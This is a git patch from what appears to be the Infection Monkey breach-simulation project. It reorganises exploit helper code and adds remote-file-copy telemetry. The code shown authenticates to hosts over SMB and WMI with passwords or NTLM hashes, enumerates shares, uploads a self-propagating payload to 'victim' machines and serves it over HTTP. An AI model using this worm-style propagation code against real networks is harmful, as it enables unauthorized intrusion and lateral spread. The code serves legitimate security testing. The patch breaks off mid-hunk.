host, username, password, lm_hash, ntlm_hash, exc) - return None, dialect - - smb.setTimeout(timeout) - return smb, dialect - - @staticmethod - def execute_rpc_call(smb, rpc_func, *args): - dce = SmbTools.get_dce_bind(smb) - rpc_method_wrapper = getattr(srvs, rpc_func, None) - if not rpc_method_wrapper: - raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,)) - - return rpc_method_wrapper(dce, *args) - - @staticmethod - def get_dce_bind(smb): - rpctransport = transport.SMBTransport(smb.getRemoteHost(), - smb.getRemoteHost(), - filename=r'\srvsvc', - smb_connection=smb) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(srvs.MSRPC_UUID_SRVS) - - return dce - - -class HTTPTools(object): - @staticmethod - def create_transfer(host, src_path, local_ip=None, local_port=None): - if not local_port: - local_port = get_free_tcp_port() - - if not local_ip: - local_ip = get_interface_to_target(host.ip_addr) - - if not firewall.listen_allowed(): - return None, None - - httpd = HTTPServer(local_ip, local_port, src_path) - httpd.daemon = True - httpd.start() - - return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd - - @staticmethod - def create_locked_transfer(host, src_path, local_ip=None, local_port=None): - """ - Create http server for file transfer with a lock - :param host: Variable with target's information - :param src_path: Monkey's path on current system - :param local_ip: IP where to host server - :param local_port: Port at which to host monkey's download - :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler - """ - # To avoid race conditions we pass a locked lock to http servers thread - lock = Lock() - lock.acquire() - if not local_port: - local_port = get_free_tcp_port() - - if not local_ip: - local_ip = get_interface_to_target(host.ip_addr) - - if not firewall.listen_allowed(): - LOG.error("Firewall is not allowed to listen for incomming ports. Aborting") - return None, None - - httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) - httpd.start() - lock.acquire() - return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd - - -def get_interface_to_target(dst): - if sys.platform == "win32": - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - try: - s.connect((dst, 1)) - ip_to_dst = s.getsockname()[0] - except KeyError: - ip_to_dst = '127.0.0.1' - finally: - s.close() - return ip_to_dst - else: - # based on scapy implementation - - def atol(x): - ip = socket.inet_aton(x) - return struct.unpack("!I", ip)[0] - - routes = get_routes() - dst = atol(dst) - paths = [] - for d, m, gw, i, a in routes: - aa = atol(a) - if aa == dst: - paths.append((0xffffffff, ("lo", a, "0.0.0.0"))) - if (dst & m) == (d & m): - paths.append((m, (i, a, gw))) - if not paths: - return None - paths.sort() - ret = paths[-1][1] - return ret[1] - - -def get_target_monkey(host): - from infection_monkey.control import ControlClient - import platform - import sys - - if host.monkey_exe: - return host.monkey_exe - - if not host.os.get('type'): - return None - - monkey_path = ControlClient.download_monkey_exe(host) - - if host.os.get('machine') and monkey_path: - host.monkey_exe = monkey_path - - if not monkey_path: - if host.os.get('type') == platform.system().lower(): - # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe - if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \ - host.os.get('machine', '').lower() == platform.machine().lower(): - monkey_path = sys.executable - - return monkey_path - - -def get_target_monkey_by_os(is_windows, is_32bit): - from infection_monkey.control import ControlClient - return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) - - -def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None): - cmdline = "" - - if parent is not None: - cmdline += " -p " + parent - if tunnel is not None: - cmdline += " -t " + tunnel - if server is not None: - cmdline += " -s " + server - if depth is not None: - if depth < 0: - depth = 0 - cmdline += " -d %d" % depth - if location is not None: - cmdline += " -l %s" % location - - return cmdline - - -def build_monkey_commandline(target_host, depth, location=None): - from infection_monkey.config import GUID - return build_monkey_commandline_explicitly( - GUID, target_host.default_tunnel, target_host.default_server, depth, location) - - -def get_monkey_depth(): - from infection_monkey.config import WormConfiguration - return WormConfiguration.depth - - -def get_monkey_dest_path(url_to_monkey): - """ - Gets destination path from monkey's source url. - :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe - :return: Corresponding monkey path from configuration - """ - from infection_monkey.config import WormConfiguration - if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): - LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) - return False - try: - if 'linux' in url_to_monkey: - return WormConfiguration.dropper_target_path_linux - elif 'windows-32' in url_to_monkey: - return WormConfiguration.dropper_target_path_win_32 - elif 'windows-64' in url_to_monkey: - return WormConfiguration.dropper_target_path_win_64 - else: - LOG.error("Could not figure out what type of monkey server was trying to upload, " - "thus destination path can not be chosen.") - return False - except AttributeError: - LOG.error("Seems like monkey's source configuration property names changed. " - "Can not get destination path to upload monkey") - return False diff --git a/monkey/infection_monkey/exploit/tools/__init__.py b/monkey/infection_monkey/exploit/tools/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py new file mode 100644 index 000000000..83a8bfd92 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -0,0 +1,134 @@ +import logging +import socket +import struct +import sys + +from infection_monkey.network.info import get_routes + +LOG = logging.getLogger(__name__) + + +def get_interface_to_target(dst): + """ + :param dst: destination IP address string without port. E.G. '192.168.1.1.' + :return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.' + """ + if sys.platform == "win32": + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + s.connect((dst, 1)) + ip_to_dst = s.getsockname()[0] + except KeyError: + ip_to_dst = '127.0.0.1' + finally: + s.close() + return ip_to_dst + else: + # based on scapy implementation + + def atol(x): + ip = socket.inet_aton(x) + return struct.unpack("!I", ip)[0] + + routes = get_routes() + dst = atol(dst) + paths = [] + for d, m, gw, i, a in routes: + aa = atol(a) + if aa == dst: + paths.append((0xffffffff, ("lo", a, "0.0.0.0"))) + if (dst & m) == (d & m): + paths.append((m, (i, a, gw))) + if not paths: + return None + paths.sort() + ret = paths[-1][1] + return ret[1] + + +def get_target_monkey(host): + from infection_monkey.control import ControlClient + import platform + import sys + + if host.monkey_exe: + return host.monkey_exe + + if not host.os.get('type'): + return None + + monkey_path = ControlClient.download_monkey_exe(host) + + if host.os.get('machine') and monkey_path: + host.monkey_exe = monkey_path + + if not monkey_path: + if host.os.get('type') == platform.system().lower(): + # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe + if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \ + host.os.get('machine', '').lower() == platform.machine().lower(): + monkey_path = sys.executable + + return monkey_path + + +def get_target_monkey_by_os(is_windows, is_32bit): + from infection_monkey.control import ControlClient + return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) + + +def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None): + cmdline = "" + + if parent is not None: + cmdline += " -p " + parent + if tunnel is not None: + cmdline += " -t " + tunnel + if server is not None: + cmdline += " -s " + server + if depth is not None: + if depth < 0: + depth = 0 + cmdline += " -d %d" % depth + if location is not None: + cmdline += " -l %s" % location + + return cmdline + + +def build_monkey_commandline(target_host, depth, location=None): + from infection_monkey.config import GUID + return build_monkey_commandline_explicitly( + GUID, target_host.default_tunnel, target_host.default_server, depth, location) + + +def get_monkey_depth(): + from infection_monkey.config import WormConfiguration + return WormConfiguration.depth + + +def get_monkey_dest_path(url_to_monkey): + """ + Gets destination path from monkey's source url. + :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe + :return: Corresponding monkey path from configuration + """ + from infection_monkey.config import WormConfiguration + if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): + LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) + return False + try: + if 'linux' in url_to_monkey: + return WormConfiguration.dropper_target_path_linux + elif 'windows-32' in url_to_monkey: + return WormConfiguration.dropper_target_path_win_32 + elif 'windows-64' in url_to_monkey: + return WormConfiguration.dropper_target_path_win_64 + else: + LOG.error("Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen.") + return False + except AttributeError: + LOG.error("Seems like monkey's source configuration property names changed. " + "Can not get destination path to upload monkey") + return False diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py new file mode 100644 index 000000000..f23ba8276 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -0,0 +1,62 @@ +import logging +import os +import os.path +import urllib +from threading import Lock + +from infection_monkey.network.firewall import app as firewall +from infection_monkey.network.info import get_free_tcp_port +from infection_monkey.transport import HTTPServer, LockedHTTPServer +from infection_monkey.exploit.tools.helpers import get_interface_to_target + + +__author__ = 'itamar' + +LOG = logging.getLogger(__name__) + + +class HTTPTools(object): + @staticmethod + def create_transfer(host, src_path, local_ip=None, local_port=None): + if not local_port: + local_port = get_free_tcp_port() + + if not local_ip: + local_ip = get_interface_to_target(host.ip_addr) + + if not firewall.listen_allowed(): + return None, None + + httpd = HTTPServer(local_ip, local_port, src_path) + httpd.daemon = True + httpd.start() + + return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + + @staticmethod + def create_locked_transfer(host, src_path, local_ip=None, local_port=None): + """ + Create http server for file transfer with a lock + :param host: Variable with target's information + :param src_path: Monkey's path on current system + :param local_ip: IP where to host server + :param local_port: Port at which to host monkey's download + :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler + """ + # To avoid race conditions we pass a locked lock to http servers thread + lock = Lock() + lock.acquire() + if not local_port: + local_port = get_free_tcp_port() + + if not local_ip: + local_ip = get_interface_to_target(host.ip_addr) + + if not firewall.listen_allowed(): + LOG.error("Firewall is not allowed to listen for incomming ports. Aborting") + return None, None + + httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) + httpd.start() + lock.acquire() + return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py new file mode 100644 index 000000000..89e755d28 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -0,0 +1,216 @@ +import logging +import ntpath +import pprint + +from impacket.dcerpc.v5 import transport, srvs +from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 +from impacket.smbconnection import SMBConnection, SMB_DIALECT + +import infection_monkey.config +import infection_monkey.monkeyfs as monkeyfs +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1105_telem import T1105Telem + +__author__ = 'itamar' + +LOG = logging.getLogger(__name__) + + +class SmbTools(object): + + @staticmethod + def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60): + assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) + config = infection_monkey.config.WormConfiguration + src_file_size = monkeyfs.getsize(src_path) + + smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) + if not smb: + return None + + # skip guest users + if smb.isGuestSession() > 0: + LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s'," + " LM hash: %s, NTLM hash: %s", + host, username, password, lm_hash, ntlm_hash) + + try: + smb.logoff() + except: + pass + + return None + + try: + resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102) + except Exception as exc: + LOG.debug("Error requesting server info from %r over SMB: %s", + host, exc) + return None + + info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'], + 'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'], + 'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "), + 'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "), + 'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "), + 'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']} + + LOG.debug("Connected to %r using %s:\n%s", + host, dialect, pprint.pformat(info)) + + try: + resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2) + except Exception as exc: + LOG.debug("Error enumerating server shares from %r over SMB: %s", + host, exc) + return None + + resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer'] + + high_priority_shares = () + low_priority_shares = () + file_name = ntpath.split(dst_path)[-1] + + for i in range(len(resp)): + share_name = resp[i]['shi2_netname'].strip("\0 ") + share_path = resp[i]['shi2_path'].strip("\0 ") + current_uses = resp[i]['shi2_current_uses'] + max_uses = resp[i]['shi2_max_uses'] + + if current_uses >= max_uses: + LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded", + share_name, host) + continue + elif not share_path: + LOG.debug("Skipping share '%s' on victim %r because share path is invalid", + share_name, host) + continue + + share_info = {'share_name': share_name, + 'share_path': share_path} + + if dst_path.lower().startswith(share_path.lower()): + high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),) + + low_priority_shares += ((ntpath.sep + file_name, share_info),) + + shares = high_priority_shares + low_priority_shares + + file_uploaded = False + for remote_path, share in shares: + share_name = share['share_name'] + share_path = share['share_path'] + + if not smb: + smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) + if not smb: + return None + + try: + tid = smb.connectTree(share_name) + except Exception as exc: + LOG.debug("Error connecting tree to share '%s' on victim %r: %s", + share_name, host, exc) + continue + + LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r", + share_name, share_path, remote_path, host.ip_addr[0], ) + + remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) + + # check if file is found on destination + if config.skip_exploit_if_file_exist: + try: + file_info = smb.listPath(share_name, remote_path) + if file_info: + if src_file_size == file_info[0].get_filesize(): + LOG.debug("Remote monkey file is same as source, skipping copy") + return remote_full_path + + LOG.debug("Remote monkey file is found but different, moving along with attack") + except: + pass # file isn't found on remote victim, moving on + + try: + with monkeyfs.open(src_path, 'rb') as source_file: + # make sure of the timeout + smb.setTimeout(timeout) + smb.putFile(share_name, remote_path, source_file.read) + + file_uploaded = True + T1105Telem(ScanStatus.USED, host.ip_addr[0], dst_path).send() + LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r", + src_path, share_name, share_path, host) + + break + except Exception as exc: + LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", + share_name, host, exc) + T1105Telem(ScanStatus.SCANNED, host.ip_addr[0], dst_path).send() + continue + finally: + try: + smb.logoff() + except: + pass + + smb = None + + if not file_uploaded: + LOG.debug("Couldn't find a writable share for exploiting" + " victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s", + host, username, password, lm_hash, ntlm_hash) + return None + + return remote_full_path + + @staticmethod + def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60): + try: + smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) + except Exception as exc: + LOG.debug("SMB connection to %r on port 445 failed," + " trying port 139 (%s)", host, exc) + + try: + smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139) + except Exception as exc: + LOG.debug("SMB connection to %r on port 139 failed as well (%s)", + host, exc) + return None, None + + dialect = {SMB_DIALECT: "SMBv1", + SMB2_DIALECT_002: "SMBv2.0", + SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0") + + # we know this should work because the WMI connection worked + try: + smb.login(username, password, '', lm_hash, ntlm_hash) + except Exception as exc: + LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s", + host, username, password, lm_hash, ntlm_hash, exc) + return None, dialect + + smb.setTimeout(timeout) + return smb, dialect + + @staticmethod + def execute_rpc_call(smb, rpc_func, *args): + dce = SmbTools.get_dce_bind(smb) + rpc_method_wrapper = getattr(srvs, rpc_func, None) + if not rpc_method_wrapper: + raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,)) + + return rpc_method_wrapper(dce, *args) + + @staticmethod + def get_dce_bind(smb): + rpctransport = transport.SMBTransport(smb.getRemoteHost(), + smb.getRemoteHost(), + filename=r'\srvsvc', + smb_connection=smb) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + + return dce diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py new file mode 100644 index 000000000..abbb9f936 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -0,0 +1,150 @@ +import logging + +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError +from impacket.dcerpc.v5.dcomrt import DCOMConnection +from impacket.dcerpc.v5.dtypes import NULL + +__author__ = 'itamar' + +LOG = logging.getLogger(__name__) + + +class DceRpcException(Exception): + pass + + +class AccessDeniedException(Exception): + def __init__(self, host, username, password, domain): + super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" % + (host, domain, username, password)) + + +class WmiTools(object): + class WmiConnection(object): + def __init__(self): + self._dcom = None + self._iWbemServices = None + + @property + def connected(self): + return self._dcom is not None + + def connect(self, host, username, password, domain=None, lmhash="", nthash=""): + if not domain: + domain = host.ip_addr + + dcom = DCOMConnection(host.ip_addr, + username=username, + password=password, + domain=domain, + lmhash=lmhash, + nthash=nthash, + oxidResolver=True) + + try: + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, + wmi.IID_IWbemLevel1Login) + except Exception as exc: + dcom.disconnect() + + if "rpc_s_access_denied" == exc.message: + raise AccessDeniedException(host, username, password, domain) + + raise + + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + + try: + self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + self._dcom = dcom + except: + dcom.disconnect() + + raise + finally: + iWbemLevel1Login.RemRelease() + + def close(self): + assert self.connected, "WmiConnection isn't connected" + + self._iWbemServices.RemRelease() + self._iWbemServices = None + + self._dcom.disconnect() + self._dcom = None + + @staticmethod + def dcom_wrap(func): + def _wrapper(*args, **kwarg): + try: + return func(*args, **kwarg) + finally: + WmiTools.dcom_cleanup() + + return _wrapper + + @staticmethod + def dcom_cleanup(): + for port_map in DCOMConnection.PORTMAPS.keys(): + del DCOMConnection.PORTMAPS[port_map] + for oid_set in DCOMConnection.OID_SET.keys(): + del DCOMConnection.OID_SET[port_map] + + DCOMConnection.OID_SET = {} + DCOMConnection.PORTMAPS = {} + if DCOMConnection.PINGTIMER: + DCOMConnection.PINGTIMER.cancel() + DCOMConnection.PINGTIMER.join() + DCOMConnection.PINGTIMER = None + + @staticmethod + def get_object(wmi_connection, object_name): + assert isinstance(wmi_connection, WmiTools.WmiConnection) + assert wmi_connection.connected, "WmiConnection isn't connected" + + return wmi_connection._iWbemServices.GetObject(object_name)[0] + + @staticmethod + def list_object(wmi_connection, object_name, fields=None, where=None): + assert isinstance(wmi_connection, WmiTools.WmiConnection) + assert wmi_connection.connected, "WmiConnection isn't connected" + + if fields: + fields_query = ",".join(fields) + else: + fields_query = "*" + + wql_query = "SELECT %s FROM %s" % (fields_query, object_name) + + if where: + wql_query += " WHERE %s" % (where,) + + LOG.debug("Execution WQL query: %r", wql_query) + + iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query) + + query = [] + try: + while True: + try: + next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0] + record = next_item.getProperties() + + if not fields: + fields = record.keys() + + query_record = {} + for key in fields: + query_record[key] = record[key]['value'] + + query.append(query_record) + except DCERPCSessionError as exc: + if 1 == exc.error_code: + break + + raise + finally: + iEnumWbemClassObject.RemRelease() + + return query diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 498c09eea..adac06f2d 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -7,8 +7,8 @@ import socket import time from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import build_monkey_commandline -from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_target_monkey, build_monkey_commandline, get_monkey_depth +from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT from logging import getLogger diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index fe45c65ce..b33a3cfb5 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -5,7 +5,8 @@ from abc import abstractmethod from infection_monkey.exploit import HostExploiter from infection_monkey.model import * -from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 4c99f82b9..3d38b0fcf 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -8,7 +8,8 @@ from __future__ import print_function from requests import post, exceptions from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target +from infection_monkey.exploit.tools.helpers import get_interface_to_target +from infection_monkey.network.info import get_free_tcp_port from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import threading diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index e1d2e5b85..2cf5010b2 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -14,11 +14,11 @@ from enum import IntEnum from impacket import uuid from impacket.dcerpc.v5 import transport -from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from infection_monkey.network import SMBFinger from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline from . import HostExploiter LOG = getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 9439d7414..c9287a25e 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -6,8 +6,11 @@ import traceback from impacket.dcerpc.v5.rpcrt import DCERPCException from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \ +from infection_monkey.exploit.tools.helpers import get_target_monkey, \ get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException +from infection_monkey.exploit.tools.smb_tools import SmbTools +from infection_monkey.exploit.tools.wmi_tools import WmiTools from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from common.utils.exploit_enum import ExploitType diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 06e0f267b..0456ffba2 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -19,7 +19,7 @@ from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach from common.utils.attack_utils import ScanStatus -from infection_monkey.exploit.tools import get_interface_to_target +from infection_monkey.exploit.tools.helpers import get_interface_to_target __author__ = 'itamar' diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index 61ec6f5d7..1a2070ac1 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -6,6 +6,9 @@ from infection_monkey.post_breach.pba import PBA from infection_monkey.control import ControlClient from infection_monkey.config import WormConfiguration from infection_monkey.utils import get_monkey_dir_path +from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from common.utils.attack_utils import ScanStatus +from infection_monkey.exploit.tools.helpers import get_interface_to_target LOG = logging.getLogger(__name__) @@ -81,7 +84,13 @@ class UsersPBA(PBA): if not pba_file_contents or not pba_file_contents.content: LOG.error("Island didn't respond with post breach file.") + T1105Telem(ScanStatus.SCANNED, + get_interface_to_target(WormConfiguration.current_server.split(':')[0]), + filename).send() return False + T1105Telem(ScanStatus.USED, + get_interface_to_target(WormConfiguration.current_server.split(':')[0]), + filename).send() try: with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: written_PBA_file.write(pba_file_contents.content) diff --git a/monkey/infection_monkey/telemetry/attack/t1105_telem.py b/monkey/infection_monkey/telemetry/attack/t1105_telem.py new file mode 100644 index 000000000..171c4b963 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1105_telem.py @@ -0,0 +1,22 @@ +from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem + + +class T1105Telem(AttackTelem): + def __init__(self, status, host, path): + """ + T1105 telemetry. + :param status: ScanStatus of technique + :param host: IP of machine which downloaded the file + :param path: Uploaded file's path + """ + super(T1105Telem, self).__init__('T1105', status) + self.path = path + self.host = host + + def get_data(self): + data = super(T1105Telem, self).get_data() + data.update({ + 'path': self.path, + 'host': self.host + }) + return data diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index 0f01cf64a..b4cb2e488 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -6,7 +6,6 @@ import threading import urllib from logging import getLogger from urlparse import urlsplit -from threading import Lock import infection_monkey.monkeyfs as monkeyfs from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time @@ -165,11 +164,15 @@ class HTTPServer(threading.Thread): def run(self): class TempHandler(FileServHTTPRequestHandler): + from common.utils.attack_utils import ScanStatus + from infection_monkey.telemetry.attack.t1105_telem import T1105Telem + filename = self._filename @staticmethod def report_download(dest=None): LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) + TempHandler.T1105Telem(TempHandler.ScanStatus.USED, dest[0], self._filename).send() self.downloads += 1 if not self.downloads < self.max_downloads: return True @@ -212,11 +215,14 @@ class LockedHTTPServer(threading.Thread): def run(self): class TempHandler(FileServHTTPRequestHandler): + from common.utils.attack_utils import ScanStatus + from infection_monkey.telemetry.attack.t1105_telem import T1105Telem filename = self._filename @staticmethod def report_download(dest=None): LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) + TempHandler.T1105Telem(TempHandler.ScanStatus.USED, dest[0], self._filename).send() self.downloads += 1 if not self.downloads < self.max_downloads: return True diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index 999f4d7fc..722dea50e 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -9,7 +9,7 @@ from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import local_ips, get_free_tcp_port from infection_monkey.network.tools import check_tcp_port from infection_monkey.transport.base import get_last_serve_time -from infection_monkey.exploit.tools import get_interface_to_target +from infection_monkey.exploit.tools.helpers import get_interface_to_target __author__ = 'hoffer' diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index a79d38490..4a165940d 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -8,7 +8,7 @@ import time import infection_monkey.monkeyfs as monkeyfs from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient -from infection_monkey.exploit.tools import build_monkey_commandline_explicitly +from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly from infection_monkey.model import MONKEY_CMDLINE_WINDOWS from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python From 685362a5f4c5be6aa5832ef6f8fd6488e05a1a6c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 5 Jul 2019 16:05:35 +0300 Subject: [PATCH 006/276] Implemented file copy technique's report parsing. --- monkey/infection_monkey/exploit/sambacry.py | 6 ++- monkey/infection_monkey/exploit/sshexec.py | 11 ++++- .../exploit/tools/smb_tools.py | 11 ++++- .../post_breach/actions/users_custom_pba.py | 2 + .../telemetry/attack/t1105_telem.py | 17 ++++---- monkey/infection_monkey/transport/http.py | 11 ++++- .../cc/services/attack/attack_report.py | 5 ++- .../cc/services/attack/attack_schema.py | 8 ++++ .../attack/technique_reports/T1105.py | 25 ++++++++++++ .../attack/technique_reports/__init__.py | 12 +++--- .../components/attack/techniques/Helpers.js | 6 ++- .../src/components/attack/techniques/T1105.js | 40 +++++++++++++++++++ .../report-components/AttackReport.js | 4 +- 13 files changed, 134 insertions(+), 24 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1105.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 9a9f934fb..86e43c73c 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -20,6 